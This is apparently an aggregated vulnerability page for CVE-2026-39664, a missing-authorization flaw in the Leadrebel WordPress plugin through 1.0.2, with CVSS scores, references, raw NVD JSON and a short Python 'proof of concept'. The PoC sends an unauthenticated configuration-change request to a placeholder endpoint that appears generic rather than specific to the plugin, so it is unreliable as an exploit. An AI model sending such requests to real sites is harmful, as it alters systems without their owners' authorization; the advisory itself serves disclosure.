CVE-2026-39664

Description

Missing Authorization vulnerability in leadrebel Leadrebel leadrebel allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Leadrebel: from n/a through <= 1.0.2.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Leadrebel <= 1.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual vulnerable endpoint)
target_url = "http://example.com/api/v1/leadrebel/action"

# Payload representing an unauthorized action
payload = {
    "action": "update_config",
    "setting": "malicious_value"
}

try:
    # Send request without authentication headers (Cookies, Tokens, etc.)
    response = requests.post(target_url, data=payload, timeout=10)

    # Check if the request was successful (200 OK)
    if response.status_code == 200:
        print("[+] Vulnerability Confirmed: Action executed without authorization.")
        print("[+] Response:", response.text)
    else:
        print("[-] Target may not be vulnerable or endpoint is incorrect.")
        print("[-] Status Code:", response.status_code)

except requests.exceptions.RequestException as e:
    print("[!] Error connecting to target:", e)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39664
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39664
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39664/
[4] VulDB https://vuldb.com/cve/CVE-2026-39664
[5] https://patchstack.com/database/Wordpress/Plugin/leadrebel/vulnerability/wordpress-leadrebel-plugin-1-0-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39664", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:37.613", "lastModified": "2026-04-29T10:17:37.750", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in leadrebel Leadrebel leadrebel allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Leadrebel: from n/a through <= 1.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/leadrebel/vulnerability/wordpress-leadrebel-plugin-1-0-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}